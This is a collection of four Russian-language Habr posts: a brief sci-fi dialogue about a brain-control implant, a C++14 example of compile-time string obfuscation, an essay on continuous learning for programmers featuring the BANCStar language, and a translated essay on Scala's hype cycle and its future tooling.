– Давайте я объясню вам на простом языке. Мы поместим в ваш мозг некоторое устройство, которое представляет из себя марлю размером 3 на 3 сантиметра. Это устройство само просочится сквозь ткани мозга в нужное место, не причиняя повреждений. После этого вы мысленно попытаетесь связаться с ним.
– Это что, вы мне запихаете какое-то существо в голову? – ошарашенно спросил я.
– Нет конечно! Это не существо. Это активные сенсоры определенного вида, которые не обладают никаким разумом. Наоборот, их задача в том, чтобы вы сами смогли управлять вашим мозгом напрямую. Это устройство — своеобразная консоль, позволяющая осуществлять управление всей мощью человеческого мозга с помощью обычных команд. Как управление компьютером с помощью клавиатуры.
– А если эту консоль хакнут и будут мной управлять?
– Это невозможно! Устройство изготовлено из биологических материалов и может управляться ИСКЛЮЧИТЕЛЬНО с помощью синапсов вашего мозга.
– Хм…
– Эта штука — ваш личностный апгрейд. Прямой доступ к самостоятельному управлению сознанием и подсознанием. Мысленно набирая команды в консоли, вы можете управлять эмоциями, памятью и всем остальным.
– А какая там операционка? Linux? Windows? MacOS? OS/2? CP/M?
– Там сейчас установлена самая примитивная система командной строки. Цель нашего эксперимента в том, чтобы вы начали сами программировать консоль, расширяя возможности. Мы точно не знаем как устройство будет работать. Кстати, если вы согласитесь прямо сейчас, мы немедленно сделаем вам перевод на 100 000 Евро!
– Ого! Ну… ок — я согласен!
#### `**[23:18]**`
– Сейчас наркоз начнет действовать. Не переживайте, все пройдет быстро и безболезненно!
– Это хорошо. А почему в объявлении написано, что ищется системный программист с высоким болевым порогом?
– Дело в том, что вводя любую команду, вы будете испытывать непереносимую…
#### `**[0:00:00.000]**`
```
<Введите 'wakeup', чтобы прийти в сознание>
@root_of_pain:>_
``` | https://habr.com/ru/post/412493/ | null | ru | null |
# Обфускация строк на этапе компиляции
Возник на днях у нас вопрос: «Как спрятать от любителей hex-редаторов строчки текста в скомпилированном приложении?». Но спрятать так, чтобы это не требовало особых усилий, так, между прочим…
Задача состоит в том, что бы использовать в коде строки как обычно, но при этом в исполняемом файле эти строки в явном виде не хранились, возможности сторонних утилит, которые работают с уже скомпилированными бинарными файлами, задействовать так же не хочется, все нужно делать из обычного C++ кода.
Ясно, что нам придется подключить возможности С++ в области метапрограммирования и вычислять шифрование строк на этапе компиляции. Но шаблоны в чистом виде не позволяют использовать в качестве параметров инициализации строки. К счастью, в C++11 появились [constexpr](http://en.cppreference.com/w/cpp/language/constexpr) – функции, результат которых может быть вычислен на этапе компиляции. В собственно C++11 их возможности довольно ограничены (нельзя использовать, например, циклы и условия), но в новом стандарте C++14 они были существенно расширены практически до возможностей обычных функций (естественно, это должны быть только чистые функции без побочных эффектов).
Получившийся небольшой пример:
```
#include
#include
#include
//хранилице зашифрованных строк
template
struct hiddenString
{
//буффер для зашифрованной строки
short s[SIZE];
//конструктор для создания объекта на этапе компиляции
constexpr hiddenString():s{0} { }
//функция дешифрации в процессе исполнения приложения
std::string decode() const
{
std::string rv;
rv.reserve(SIZE + 1);
std::transform(s, s + SIZE - 1, std::back\_inserter(rv), [](auto ch) {
return ch - 1;
});
return rv;
}
};
//вычисление размера строки на этапе компиляции
template constexpr std::size\_t sizeCalculate(const T(&)[N])
{
return N;
}
//функция шифрации на этапе компиляции
template
constexpr auto encoder(const char str[SIZE])
{
hiddenString encoded;
for(std::size\_t i = 0; i < SIZE - 1; i++)
encoded.s[i] = str[i] + 1;
encoded.s[SIZE - 1] = 0;
return encoded;
}
//макрос для удобства использования
#define CRYPTEDSTRING(name, x) constexpr auto name = encoder(x)
int main()
{
//выведем зашифрованную на этапе компиляции строку,
//если посмотреть содержимое скомпилированного файла,
//то оригинал там отсутствует
CRYPTEDSTRING(str, "Big big secret!");
std::cout << str.decode() << std::endl;
return 0;
}
```
Пример не претендует на законченную программу и демонстрирует лишь сам принцип.
Шифратор и дешифратор просто для примера инкрементируют и декрементируют оригинальные символы строки, в теории можно прикрутить достаточно сложные алгоритмы с ключами и расшифровкой хоть на удаленном сервере. Правда есть ложка дегтя, потребовалось задействовать возможности С++14, возможно кто-то знает способ лучше?
ПС. Пример компилировался на Arch Linux с помощью clang 3.5.0 следующей командой:
> $: clang++ -std=c++1y -stdlib=libc++ -lc++abi sample.cpp -o sample
**Авторы: Токарев А.В., Гришин М.Л.** | https://habr.com/ru/post/245719/ | null | ru | null |
# Вечные студенты: когда программирование — это постоянная «учеба»
Если вы выбрали для себя профессию программиста, учеба, как правило, становится вашим постоянным спутником, хотите вы этого или нет. В этой области «выучить что-то раз и навсегда» маловероятно — постоянно появляются новые решения, новые фреймворки, в конце концов, новые языки. В сегодняшнем материале расскажем, почему разработчикам важно оставаться «вечными студентами», что говорит об изучении новых языков статистика Stack Overflow и почему программирование постепенно превращается в метод изучения *других* дисциплин.
[](https://habrahabr.ru/company/spbifmo/blog/340294/)*Фото [hackNY.org](https://www.flickr.com/photos/hackny/10165018516/) [CC-BY](https://creativecommons.org/licenses/by-sa/2.0/)*
Из области очевидного
---------------------
Привычка цепляться за старое и игнорировать новое (даже если новое для вас — это Java или Python) рано или поздно может сыграть с разработчиком злую шутку. В этом, например, [уверен](http://blog.jgc.org/2012/07/some-things-ive-learnt-about.html) Джон Грэм-Камминг (John Graham-Cumming), CTO Cloudflare. Рассказывая о том, чему его научили годы программирования, он замечает: «Некоторые чрезмерно увлекаются каким-то определенным языком и пишут только на нем. Это ошибка. Не существует одного-единственного языка, идеального для решения всех задач».
Джон рекомендует всем, кто связан с разработкой, изучать как можно больше различных решений, языков, библиотек. Его поддерживает разработчик Джош Брэггер (Josh Braegger) в своей [подборке](http://blog.braegger.pw/5-ways-to-burn-out-programming/) «антирекомендаций» о том, как наиболее быстро и эффективно перегореть за написанием кода.
Стремиться изучать новое — пусть это и очевидный совет, он, тем не менее, важный. И чем более опытным программистом вы становитесь, тем сложнее ему следовать — как справедливо замечает Джон Грэм-Камминг: «Я уже недостаточно молод, чтобы знать [о разработке] все».
Кто и что изучает: немного статистики
-------------------------------------
Сооснователь Stack Overflow Джефф Этвуд (Jeff Atwood) в своей статье на Coding Horror [рисует](https://blog.codinghorror.com/how-to-become-a-better-programmer-by-not-programming/) еще более драматичную картину: «Классные разработчики очень хороши в программировании, можно сказать, фантастически хороши. Если они в чем-то похожи на меня, они проводят почти каждую секунду бодрствования за компьютером — на протяжении практически всей жизни».
Однако, даже если это и так, время, проведенное в работе за компьютером, можно потратить по-разному — кто-то посвящает его только деловым проектам, а кто-то находит время для сторонних задач и учебных упражнений. Первый вариант, по словам уже знакомого нам Джоша Брэггера, запросто может привести к выгоранию: «Вы начали заниматься программированием, потому что вам это нравилось, так почему бы не продолжать в том же духе? Потратьте немного свободного времени на то, чтобы решить задачу, которая вам интересна».
В пользу этого решения говорят не только красивые слова, но и статистика. Аналитики изучили данные с портала Stack Overflow и пришли к любопытным выводам: программисты используют разные языки и технологии в будни и выходные (а также днем и вечером).
Иначе говоря, среди всех технологий аналитики смогли проследить разделение на две группы — те, которые используются в работе, и те, которые интересно изучить или полезно задействовать в собственном проекте.
Так, например, в «рабочую» группу попали тэги, связанные с технологиями Microsoft (C#, ASP.NET, SQL Server, Excel, VBA).
А в «группе по интересам» оказались относительно новые языки (вроде Swift), а также Node.js, C и C++. Кстати Scala и Ruby on Rails, которые несколько лет назад находились в этой группе, сейчас перешли в категорию «рабочих» языков и стали меньше использоваться по выходным. Еще один пример технологий, интерес к которым просыпается по выходным, — решения для разработки мобильных приложений и игровой движок Unity3D.
Кроме того, аналитики выяснили, что среди четырех языков (C#, C, Java, Python) C#-программисты наиболее «корпоративные» и работают «преимущественно с 9 до 5», в то время как C-программисты больше похожи на «вольных художников»: встают позже, работают дольше, часто оставляют задачи на поздний вечер. Java и Python оказались где-то между этими двумя крайностями (в [этом](https://dgrtwo.shinyapps.io/tag-traffic-hour/) приложении можно сравнить графики динамики обращений к разным технологиям на Stack Overflow в рамках суток).
А подробный рассказ о том, как проводилось исследование, можно прочитать [здесь](https://stackoverflow.blog/2017/02/07/what-programming-languages-weekends/?cb=1) и [тут](https://stackoverflow.blog/2017/04/19/programming-languages-used-late-night/).
Кстати, универсальный «[задачник](https://github.com/karan/Projects)» для разработчика (вне зависимости от выбранного языка) составил один из инженеров-программистов в Google. В списке — задачи на основные разделы программирования, от работы с числами до операций с графикой и мультимедиа-файлами. А поскольку это проект на GitHub, он содержит не только сами задачи, но и [варианты решений](https://github.com/karan/Projects-Solutions) (чаще всего на Java и Python, но попадаются и решения на Swift, Go и даже Befunge).
Когда обучение новому — это боль
--------------------------------
Однако, в процессе изучения нового можно столкнуться и с совершенно неожиданными (и даже шокирующими) задачами. Такую историю приводит разработчик Джо Логри (Joe Loughry), написавший [текст](https://github.com/jloughry/BANCStar/blob/master/README.md) под названием «Худшая среда программирования в мире». В 1990 году Джо пришел на работу в компанию, где использовался язык [BANCStar](https://en.wikipedia.org/wiki/BANCStar_programming_language). Поэтому в первый день работы Джо увидел примерно следующее:
`8607,,,1
11547,15475,22002,22002
1316,1629,1,1649
3001,1316,3,30078
11528,22052,22002,22002
9301,0,1528,1528
31568,10001,800,107
8560,,,1568
8550,210,,
3001,,,
3100,1316,3,30089
11547,15475,22002,22002
3001,1316,3,30089
3001,1317,3,10000
8400,,,
8550,700,801,
3001,,,
9301,0,522,522
3000,1284,3,10001
8500,,3,
8500,,5,
1547,,1,-2301`
Между прочим, на то, чтобы привыкнуть к языку и начать его активно использовать, у Джо ушло две недели. На помощь Джо приходили любимые инструменты разработчика на BANCStar — матричный принтер, цветные текстовыделители и папка-скоросшиватель, в которой были собраны распечатки десятков табличных значений из системы. Кстати, распечатки в папке «фанатично обновлялись как только кто-то изменял что-либо более-менее существенное» — все это, естественно, вручную.
Как заявил Джо в своей [статье](http://reocities.com/ResearchTriangle/station/2266/tarpit/bancstar.html) об этом языке, впервые опубликованной в 1997 году, — «[Приводя часть исходного кода] я не слишком волнуюсь по поводу распространения внутрикорпоративной информации, так как прочитать этот код смогут от силы десять человек на планете». На самом деле в начале 90-х этим языком действительно пользовались банковские структуры — хотя он и выглядит как эзотерический язык программирования.
Кстати, единственными допустимыми символами в этом языке являются цифры, знак «минус», запятая (а также перенос строки), а комментировать код категорически запрещается. При этом, средняя длина рабочего файла, написанного на BANCStar, достигала, по воспоминаниям Джо, нескольких сотен (в редких случаях — тысяч) строк.
По сравнению с BANCStar большинство популярных сейчас языков явно «человечнее» куда проще в изучении и использовании. Хотя, как справедливо отмечает Джон Грэм-Камминг, «[Языковые войны] — по большей части удел лузеров, потому что это «спор не по делу». Например, когда я пишу на PHP, результат оказывается ужасным, зато другие люди могут с помощью этого языка творить чудеса». Кто знает, может быть, среди 1350 файлов, написанных на BANCStar, тоже есть свои шедевры, правда, мало кто способен сейчас оценить их по достоинству.
Программирование как стиль мышления
-----------------------------------
Конечно, пример BANCStar — это исключение из правила. Подавляющее большинство современных языков программирования действительно удобны в изучении. Более того, некоторые разработчики и ученые даже полагают, что сам процесс изучения программирования меняет наши подходы к восприятию новых концепций.
Такой позиции придерживается Аллен Доуни (Allen Downey), профессор информатики в колледже Olin College of Engineering в Массачусетсе и автор [ряда книг](http://greenteapress.com/wp/) по программированию. Он [вспоминает](https://blogs.scientificamerican.com/guest-blog/programming-as-a-way-of-thinking/), что раньше для изучения программирования часто использовалась связка «естественный язык—математическая нотация—псевдокод—код».
Естественный язык экспрессивен и понятен, псевдокод более точен, математическая нотация обеспечивает краткость, а сам код можно непосредственно использовать в работе. С другой стороны, современные языки программирования обладают всеми этими качествами (экспрессивность, точность, краткость и исполняемость) и поэтому сами могут использоваться не только как конечная цель, но и как средство обучения.
В качестве примера Аллен Доуни приводит обработку сигналов — с одной стороны, этот раздел радиотехники можно изучать «снизу вверх» — то есть сначала разобрать теорию обработки сигналов (мат. методы преобразования аналоговых сигналов), а потом переходить к написанию приложений. Однако современные языки программирования позволяют перевернуть весь процесс — начать с использования библиотек, реализующих наиболее важные алгоритмы, а уже потом детально разобраться в том, как они работают.
Такой подход, на первый взгляд, кажется, мягко говоря, «нетрадиционным», однако он помогает сделать процесс обучения более интерактивным и сохранить мотивацию к учебе на протяжении всего курса.
Может быть, этот формат «погружения в задачу» и не похож на классическое обучение, но его стоит попробовать — есть вероятность, что умение программировать в будущем станет таким же базовым требованием к изучению новых дисциплин, как чтение, письмо и знание основных разделов математики.
И все же программирование — это не главное
------------------------------------------
Даже успешные программисты заявляют: программирование в их работе — это не главное. Джефф Этвуд [приводит](https://blog.codinghorror.com/how-to-become-a-better-programmer-by-not-programming/) в пример Билла Гейтса, который в одном из выступлений заявил, что после 3-4 лет в профессии программист уже не сможет радикально улучшить свои навыки — если за 3-4 года он не стал «звездой», то вряд ли «выстрелит» впоследствии.
Это приводит нас к парадоксу — получается, опыт и знания, которые мы приобретаем с годами, не превратят нас из «крепкого середнячка» в «супер-кодера». Тогда что же определяет такую возможность? Если отбросить врожденную гениальность, Этвуд заявляет следующее: наш уровень во многом определяется тем, как мы воспринимаем все, что не связано напрямую с разработкой — речь идет об изучении пользователей, бизнес-процессов, особенностей индустрии, в которой занят разработчик.
А это, в свою очередь, дополнительно расширяет «горизонты обучения» — выходит, «всесторонне образованный программист» должен не только «кодить в перерывах от работы» (на новом и более интересном для него языке), быть готов использовать навыки разработчика при изучении других дисциплин (например, разделов физики или математики), но и должен обращать пристальное внимание на все процессы, которые протекают «вокруг разработки». Картина, конечно, утопическая, но представьте, каково было бы вам воплощать в жизнь эти советы, если бы в вашем распоряжении был язык BANCStar и папка с таблицами.
*Поделитесь в комментариях своим опытом «непрерывного обучения»: какие языки/фреймворки вы изучаете сейчас и для чего? Какие «сторонние дисциплины», не связанные с программированием, на ваш взгляд, помогают вам лучше справляться с написанием кода?* | https://habr.com/ru/post/340294/ | null | ru | null |
# Конец хайпа: Что ждёт язык Scala дальше
Вокруг языка Scala всегда было много хайпа и неоднозначных суждений.
Сейчас споры поутихли, но в твиттере появились сообщения об уходе некоторых значимых участников из компаний активно развивающих экосистему языка Scala. В связи с чем в очередной раз пошли разговоры о том, что Scala всё.
В ответ на это один из очень активных членов сообщества (Li Haoyi) описал своё видение дальнейшего пути языка Scala.
Статья у него получилась интересной, посему решил перевести её.
> Помните, это перевод.
>
> Я старался сохранить оригинальный стиль. В любом случае, все замечания и исправления просьба отправлять в личку.
В недавнем твите мой друг писал, что общественный интерес к языку программирования Scala, похоже, остановился или уменьшается, что вполне соответствует моему представлению о том, что происходит сейчас. В этом посте я расскажу о том, почему, по моему мнению, это произошло, где сейчас находится Scala и что ждет в будущем сообщество Scala.
Этот пост был вдохновлен следующим твитом:
> Обидно смотреть, как увольняют друзей из Typesafe/Lightbend, но, как я всегда говорил, бесплатные вещи продавать тяжело.
>
>
>
> Я действительно задаюсь вопросом об использовании Scala сейчас. Это конечно не "конец Clojure", но, похоже, Scala достигла пика примерно в 2016 году. Хотя у меня нет данных, подтверждающих это.
[Jamie Allen](https://twitter.com/jamie_allen/status/1248019842877145089)
Джейми отмечает, что общественный интерес к языку программирования Scala, похоже, уменьшился: меньше интереса к встречам, меньше интереса к конференциям и т.д. Я вижу примерно то же самое. Несмотря на то, что конференции, посвященные Scala, ориентированные на энтузиастов, по-прежнему актуальны (или были, пока COVID19 не закрыл мировую экономику), я думаю, что нет сомнений, в инженерном сообществе сейчас гораздо меньше разговоров о Scala.
Думаю, что это снижение интереса не только реально, но также ожидаемо, учитывая типичный «Hype Cycle», который следует за любой новой технологией:
Вначале Scala накрыла волна хайпа, которая откровенно удивила даже меня: хайп вокруг расширения синтаксиса, вокруг реактивной архитектуры, вокруг функционального программирования, вокруг проекта Apache Spark. Потом большая часть этой шумихи сошла, и в сообществе и за его пределами был период негатива. С тех пор все утихло и остался разумный, скучный язык, который постоянно развивается и предоставляет отличную платформу для общей разработки программного обеспечения.
Прошлое: пик завышенных ожиданий
================================
Хотя язык Scala был создан в 2004 году, он начал активно развиваться только в начале 2010-х годов:
~2009: Twitter начал использовать язык в продакшене
~2010: Первый релиз библиотеки функционального программирования Scalaz
~2011: Была основана компания Lightbend, продвигающая Scala и связанные с ней технологии
~2014: Apache Spark был написан на языке Scala
~2015: Первый релиз библиотеки функционального программирования Cats
Хотя до этого в сообществе Scala не было никаких сомнений, это были основные вехи, которые пробудили интерес к языку. Неудивительно, что благодаря широкому коммерческому внедрению, коммерческой поддержке и таким убийственным продуктам по работе с большими данными, как Apache Spark, общественный интерес возрос. Многие из этих усилий были направлены на следующие области:
### Раздвигая границы синтаксиса
В начале Scala привлекала гибкостью языка: у него были методы расширения, перегрузка операторов, неявные конструкторы/преобразования и очень гибкий механизм имплиситов (неявных параметров), который можно было использовать везде. Эта гибкость давала свободу, поскольку становились доступны все виды предметно-ориентированных языков и стилей программирования, которые были бы невозможны в других языках.
В качестве примера можно привести ряд проектов, таких как HTTP-клиент [Databinder Dispatch](https://databinder.net/), библиотека структуры данных [Scala-Graph](http://www.scala-graph.org/) или средство сборки [SBT](https://www.scala-sbt.org/):
```
// Making a HTTP request and processing the output in Databinder Dispatch
executer(:/(host, port) / target << reqBody >- { fromRespStr })
// Constructing a simple directed graph with labelled edges in Scala Graph
val flights = Graph(
(jfc ~+#> fra)(Flight("LH 400" ,10 o 25, 8 h 20)),
(fra ~+#> dme)(Flight("LH 1444", 7 o 50, 3 h 10))
// Append the contents of a URL to a File after filtering through grep using SBT
url("http://databinder.net/dispatch/About") #> "grep JSON" #>> file("About_JSON") !
// Search for uses of null in the source directory using SBT
"find src -name *.scala -exec grep null {} ;" #| "xargs test -z" #&& "echo null-free" #|| "echo null detected" !
```
Многие из этих библиотек развивались с первых релизов Scala и с тех пор перешли к более простым API на основе методов. Оказалось, что именование операторов `>-` `~+#>` или `#&&` хотя и было возможно, не всегда было мудрым решением. Тем не менее, нет никаких сомнений в том, что расширение границ синтаксиса Scala с использованием операторов и предметно-ориентированных языков было одной из главных достопримечательностей раннего Scala.
### Реактивная Архитектура
Реактивная архитектура, проталкиваемая Lightbend через их среду Akka Actor, была еще одним большим усилием. Это способ написания кода, сильно отличающийся от «нормального» кода, который обычно изучают в школе, но позволяющий получить более высокий уровень параллелизма и производительности чем при написании кода в традиционном стиле.
В начале Akka Actors пожертвовали многим из того, чем является Scala: полным отсутствием типобезопасности между акторами, запретом блокировок API и многими другими особенностями. Работа с акторами Akka была в основном их собственным языком, встроенным в Scala, но со своими собственными соглашениями, синтаксисом и семантикой.
Совсем недавно, с релизом Typed Actors и Reactive Streams, разработчики получили больше типобезопасности, которой обычно ожидают в программах на Scala. Я думаю, что также произошел сдвиг в настроении сообщества: вместо того, чтобы относиться к реактивным архитектурам как к универсальному решению всех проблем, теперь они рассматриваются как один из возможных подходов для одного конкретного класса проблем. Это в основном соответствует моему опыту использования этих методов в моих собственных приложениях.
### Функциональное программирование
Функциональное программирование в Scala лучше всего иллюстрируется проектами Scalaz и Cats. Эти две библиотеки пытаются перенести большую часть методов функционального программирования с языка Haskell на язык Scala: большое внимание уделяется таким понятиям, как монады или аппликативы, избегая объектно-ориентированной стороны языка для более чистого функционального стиля.
Две библиотеки имеют разные стили, и обе они активно используются сегодня в сообществе. Религии стало меньше, и все признают функциональное программирование как один из возможных стилей написания приложений для Scala.
### Apache Spark
Последним крупным проектом, вызвавшим ранний ажиотаж в Scala, был Apache Spark. Распределенная среда обработки больших данных, Apache Spark использовала функциональный стиль Scala и сериализуемые лямбды для сбора общих коллекций, таких как `map`, `filter` и `reduce`, распределенных по вычислительному кластеру, обрабатывающему огромные объемы данных. Apache Spark позволяющий писать на порядки меньшие объёмы кода для конвейерной обработки больших данных и работающий на порядки быстрее раннего API Hadoop — мгновенно стал хитом.
Apache Spark был киллер фичей Scala. Огромная часть сообщества Scala использует Scala только потому, что им нужно каким-то образом взаимодействовать со Spark.
Apache Spark теперь поддерживает API-интерфейсы для разработчиков на многих языках: SQL, R, Python. Причем Python является самым популярным вариантом. Исходный API, построенный на API из коллекций, был в основном заменён на API более похожий на SQL, который лучше оптимизируется, что является важным фактором при работе с огромными наборами данных, для которых часто используется Apache Spark. Тем не менее, кодовая база Apache Spark по сей день остается в основном на Scala.
### Дно разочарования
С начала развития спарка часть сообщества продолжала бухтеть против Скалы, поскольку начальный хайп уже прошёл. Некоторые ранние участники ушли из сообщества, были некоторые личные конфликты. Это происходило не только в целом, но и на индивидуальном уровне: я лично знаю многих людей, которые устали от того, что они обманываются и были недовольны ситуацией.
Трудно понять точно когда прошел хайп, возможно, в 2016-2018 годах.
Даже на техническом уровне не все было хорошо. В то время как одни организации успешно использовали эти методы в своих нишах, другие сожалели, что поставили всё на акторы и на функциональное программирование. Они обнаружили, что эти методы не решают их проблемы так, как им хотелось бы, и им пришлось потратить некоторое время, чтобы отказаться от своих наработок. Я лично знаю много организаций, которым пришлось это сделать.
Еще в начале 2010-х, я удивлялся количеству ажиотажа вокруг этих технологий. Использование операторов в некоторых библиотеках было явно за гранью, а иногда превращало даже простые задачи в сложные головоломки. Количество хайпа вокруг реактивных архитектур и функционального программирования, не соответствовало тем вариантам, для которых они подходят лучше всего: у каждой конференции Scala были основные докладчики, проповедующие оба эти подхода как основополагающее будущее всей архитектуры программного обеспечения.
Меня совсем не удивляет, что в результате люди оказались со мной на «Дне разочарования».
### Настоящее: на склоне просветления
Scala получила свой хайп в начале 2010-х, после чего последовал спад в середине-конце 2010-х. Куда же теперь двигается Скала?
#### Стабильно растущее сообщество
Несмотря на очевидный спад интереса, использование Scala продолжает расти. Я поддерживаю большое количество библиотек с открытым исходным кодом, и количество уникальных IP-адресов, загружающих эти библиотеки из репозитория пакетов Maven Central, выросло чуть более чем в 2 раза за последний год. Несмотря на некоторые различия в количестве загрузок или показателях для каждого отдельного пакета, в целом они достаточно близко соответствуют этой тенденции.
Хотя этот рост не является экспоненциальным, на который рассчитывают некоторые проекты, это постоянный рост, соответствующий моему собственному субъективному опыту: использование Scala продолжает увеличиваться даже после хайпа. Если мы сможем поддерживать этот двукратный рост каждый год, я думаю, что у сообщества Scala будет и впредь всё хорошо.
Если вы посмотрите на самые последние рейтинги [Redmonk](https://redmonk.com/sogrady/2020/02/28/language-rankings-1-20/) или [Tiobe](https://www.tiobe.com/tiobe-index/), они оба показывают, что Scala стабильно колеблется в непосредственной близости от основных языков, заняв 13 и 28 места соответственно. Не очень популярный, но не малоизвестный язык.
Вспоминая хайп и критику в прошлом, Scala теперь выглядит гибким языком, поддерживающим несколько стилей программирования, каждый со своими компромиссами и вариантами использования. Многие ранние религиозные войны и конфликты превратились в людей, использующих Scala на постоянной основе, наслаждающихся языком по своему выбору.
### Надежная платформа для использования в производстве
Несмотря на снижение хайпа, язык Scala чувствует себя лучше, чем раньше:
* За последние несколько лет инструмент для сборки SBT сильно развился, стал значительно быстрее и проще в использовании.
* Если вам не нравится SBT, у вас есть выбор: многие организации используют Bazel или Pants со Scala, в то время как мой собственный инструмент для сборки [Mill](https://github.com/lihaoyi/mill) стабилен и широко используется.
* Новые инструменты, такие как [Coursier](https://github.com/coursier/coursier), формируют новую основу для экосистемы: используются инструментами от Ammonite до SBT и Mill
* Проект [Metals](https://github.com/scalameta/metals) даёт поддержку Scala для VSCode, Sublime Text и любого другого редактора с поддержкой языкового сервера.
* Собственный плагин Intellij для Scala продолжает совершенствоваться: быстрее, точнее и с поддержкой новых инструментов, таких как скрипты Ammonite или инструмент сборки Mill.
* Новая библиотека коллекций в Scala 2.13 хорошо почистила API и значительно повысила производительность во многих случаях (например, [ускорение на 25-40% в Sjsonnet](https://github.com/databricks/sjsonnet#performance))
* «Полировочные» функции, такие как сопоставление с образцом в строках или подавление предупреждений, продолжают улучшать жизнь каждого.
* Компилятор значительно ускорился, код компилируется буквально в два раза быстрее, чем всего три года назад.
Хотя спецификация языка, за последние несколько лет, почти не изменилась, количество качественных улучшений в целом трудно переоценить. В 2017 году, любая инженерная организация, использующая Scala, за сокращение времени компиляции вдвое осыпала бы вас деньгами!
Каждое изменение в отдельности значительно улучшило мой личный опыт работы со Scala, и есть много других улучшений, которые я не могу перечислить здесь.
### Широкая и разнообразная экосистема
Хотя хайп вокруг первоначальных четырех столпов уменьшился, они все еще формируют большие и активные суб-сообщества в экосистеме Scala. Например, не все хотят использовать чисто функциональное программирование и любой человек может не захотеть использовать его постоянно, библиотеки и экосистема, окружающая его, тем не менее, разнообразны, качественны и содержатся в хорошем состоянии. Когда у вас есть возможность использовать чисто функциональное программирование, вы найдете все, что вам нужно.
В любом случае, хайп делает своё дело: знакомство большого количества людей с определенной парадигмой помогает достичь критической массы, чтобы поддерживать это сообщество в будущем.
Множество стилей в Scala можно рассматривать как благо: вместо того, чтобы рассматривать его как способ разделения сообщества, это способ объединения сообществ, которые иначе никогда бы не взаимодействовали друг с другом. Без Scala эти сообщества могут работать независимо друг от друга в системах на Haskell, Python, Java и Go. Сконцентрировавшись на общих чертах, а не отличиях, Scala позволяет сообществам совместно работать над тем, что им выгодно, при этом сохраняя всё то, что делает каждое суб-сообщество уникальным.
Я не делаю сразу архитектуру своего кода реактивной с использованием Actors, но я создавал продакшен код активно использующий акторы, когда это было надо. Я не всегда использую чисто функциональные методы программирования, но я использовал довольно эзотерические конструкции, такие как Free Applicatives, когда они полезны. Я думаю, что сообщество в целом развивалось аналогичным образом: ценило различные стили и использовало их, где это уместно, без догматизма, который отравлял первые дни Scala.
### Будущее
Итак, что интересного, как я думаю, нас ждёт в будущем Scala?
Для меня сам язык Scala находится в относительно хорошем состоянии. Дня написания современного Java-кода достаточно, чтобы избавить меня от иллюзий, которые «догнали» другие языки, равно как и потратить дни, пытаясь (безуспешно) упаковать проект Python в отдельный исполняемый файл (Здравствуйте, Azure-CLI!).
Где самый большой потенциал, для представления Scala новым людям или новым вариантам использования, которые до этого момента были полностью вне границ. Я думаю, что есть две основные вещи:
##### Удобство использования
В самом начале Scala не хватало одного: возможности новому программисту быстро начать работу с кодовой базой и быстро стать продуктивным. Неважно, использовали ли вы императивный стиль, реактивный стиль с акторами или чистый функциональный стиль с FP-Cats / Scalaz: кому-то придется нелегко.
Почему так должно происходить?
В качестве контр-примера разработчики обычно приводят Python как простой язык для начала: «исполняемый псевдокод», который они называют. Новые программисты изучают Python. Непрограммисты изучают Python. Когда люди пишут код на доске с маркером, они часто пишут на Python. Хотя производительность, параллелизм или масштабируемость в Python сомнительны, его простота, в начале, не имеет себе равных.
Почему Scala не может быть так же легка на старте, как Python?
Ответ на этот вопрос — цель всего набора библиотек, который я поддерживаю. Многие из моих библиотек являются копиями, бесстыдными клонами их эквивалентов на Python. Например:
* [Ammonite](https://github.com/lihaoyi/Ammonite), клон IPython REPL
* [uPickle](https://github.com/lihaoyi/upickle), клон Python json module
* [PPrint](https://github.com/lihaoyi/PPrint), клон Python pprint module
* [Requests-Scala](https://github.com/lihaoyi/requests-scala), клон Kenneth Rietz' Requests module
* [OS-Lib](https://github.com/lihaoyi/os-lib), клон Python `os`, `sys`, и `shutil` modules
* [Cask](https://github.com/lihaoyi/cask), клон Armin Ronacher's Flask library
Оказывается, вы можете сделать Scala таким же простым на старте, как и Python. Со всеми слабостями Python — производительностью, параллелизмом, удобством обслуживания — Scala уже отлично справляется. Scala обладает потенциалом языка с удобством и гибкостью Python, производительностью и масштабируемостью Java или Go, а также типо-безопасностью, выходящей далеко за пределы любого из этих вариантов. В буквальном смысле лучшее из обоих миров!
Несмотря на то, что всегда будут случаи, когда высококонкурентная реактивная архитектура или чисто функциональное программирование станут лучшим выбором, я надеюсь, что в будущем разработчики смогут легко и просто внедрить язык Scala, а продвинутые методы нужно будет изучать только тогда, когда это станет необходимо.
### Scala Native
[Scala.js](http://www.scala-js.org/) продемонстрировал целесообразность использования Scala на альтернативной платформе: он скомпилирован для Javascript, а не для JVM, имеет популярную экосистему, сообщество и переносит язык Scala в браузер, где его нельзя было использовать ранее.
Scala-Native обещает еще большую революцию: компилируя Scala в автономные бинарные исполняемые файлы. Это позволит использовать язык Scala в сценариях, где время запуска и оверхед JVM или Javascript недопустимы.
Как Scala.js принес Scala в браузер, так Scala-Native обещает привести Scala к множеству новых окружений:
* Инструменты командной строки, такие как `git`, `ls`, `rsync` и т.д., которым критично время запуска JVM.
* Фоновые процессы или демоны, где из-за значительных накладных расходов памяти JVM использование Scala проблематично.
* Разработка мобильных приложений для iOS на iPhone и iPad, одном из самых распространенных в мире потребительских вычислительных устройств.
* Десктопные приложения, в которых запуск JVM слишком медленный или сборка JVM слишком громоздкая.
* Глубокая интеграция с нативными библиотеками, такими как библиотека машинного обучения Tensorflow.
Программы такого рода традиционно написаны на небезопасных языках, таких как C или C ++. Более поздние реализации часто пишутся на Rust или Go, и существует целая индустрия не-C языков программирования, таких как Nim, Zig или Crystal, которые также пытаются занять эту нишу. Scala-Native обещает занять нишу не новым языком, а уже популярным языком с богатой экосистемой библиотек и инструментов.
Scala-Native будет намного сложнее добиться успеха, чем Scala.js. В частности, Scala.js может сосредоточиться на компиляторе, а затем делегировать его существующей среде исполнения Javascript, в то время как Scala-Native должен построить свою собственную среду исполнения с самых основ: многопоточность, сборка мусора, циклы событий и так далее. Это добавляет огромное количество необходимой работы компилятору. Тем не менее, в случае успеха это будет огромным благом для расширения вариантов использования языка Scala.
### Заключение
В то время как хайп вокруг языка Scala утих за эти годы, его использование, похоже, постоянно растет, и качество использования языка быстро улучшается. Это именно то, что вы ожидаете по мере того, как язык продвигается через цикл рекламы и переходит от сообщества, ориентированного на причуду, к сообществу, ориентированному на ценность. Разработчики Scala используют язык не как самоцель, а как надежный инструмент, который они могут использовать для решения своих технических или бизнес-задач, не связанных со Scala.
По сути, это означает зрелость сообщества.
В будущем, я надеюсь, мы сможем увидеть больше этого. Больше внимания на результатах и ценности, а не на рекламе. Больше взвешенных компромиссов, нежели догматизма. Больше искать общее, чем спорить о различиях. И еще 2х кратного ускорения компилятора!
